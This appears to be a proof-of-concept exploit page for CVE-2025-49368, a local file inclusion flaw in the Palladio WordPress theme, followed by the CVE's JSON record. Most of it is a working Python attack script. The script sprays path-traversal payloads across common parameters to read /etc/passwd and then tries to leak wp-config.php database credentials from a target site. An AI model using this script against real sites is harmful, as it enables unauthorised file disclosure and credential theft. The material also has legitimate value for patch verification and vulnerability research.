CVE-2025-49368

# CVE-2025-49368 PoC - Palladio Theme Local File Inclusion # Affected: AncoraThemes Palladio WordPress Theme <= 1.1.10 # CVSS: 8.1 (High) import requests import sys from urllib.parse import quote def test_lfi(target_url, filename='/etc/passwd'): """Test for Local File Inclusion vulnerability""" # Common LFI parameters in WordPress themes lfi_params = ['file', 'page', 'template', 'view', 'include', 'load'] # Path traversal payloads payloads = [ f'../../../../../../../../{filename}', f'../../../../../../../../../../{filename}', f'....//....//....//....//....//{filename}', f'/etc/passwd', ] print(f"[*] Testing target: {target_url}") print(f"[*] Target file: {filename}") for param in lfi_params: for payload in payloads: try: # Test both GET and POST methods for method in ['GET', 'POST']: if method == 'GET': url = f"{target_url}?{param}={quote(payload)}" response = requests.get(url, timeout=10) else: response = requests.post(target_url, data={param: payload}, timeout=10) # Check for successful file inclusion if response.status_code == 200: if 'root:' in response.text or 'nobody:' in response.text: print(f"[+] VULNERABLE! Parameter: {param}") print(f"[+] Payload: {payload}") print(f"[+] Response length: {len(response.text)}") return True elif 'wp-config.php' in filename and 'DB_NAME' in response.text: print(f"[+] VULNERABLE! Database config leaked") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[-] No vulnerability detected") return False def read_wp_config(target_url): """Attempt to read wp-config.php""" print("\n[*] Attempting to read wp-config.php...") lfi_params = ['file', 'page', 'template'] for param in lfi_params: payload = '../../wp-config.php' try: url = f"{target_url}?{param}={quote(payload)}" response = requests.get(url, timeout=10) if 'DB_NAME' in response.text or 'DB_USER' in response.text: print("[+] Successfully read wp-config.php!") return response.text except: continue return None if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-49368-poc.py <target_url>") print("Example: python cve-2025-49368-poc.py http://victim.com/wp-content/themes/palladio/") sys.exit(1) target = sys.argv[1].rstrip('/') # Test for LFI vulnerability test_lfi(target) # Attempt to read sensitive files read_wp_config(target)

{"cve": {"id": "CVE-2025-49368", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:51.170", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Palladio palladio allows PHP Local File Inclusion.This issue affects Palladio: from n/a through <= 1.1.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/palladio/vulnerability/wordpress-palladio-theme-1-1-10-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}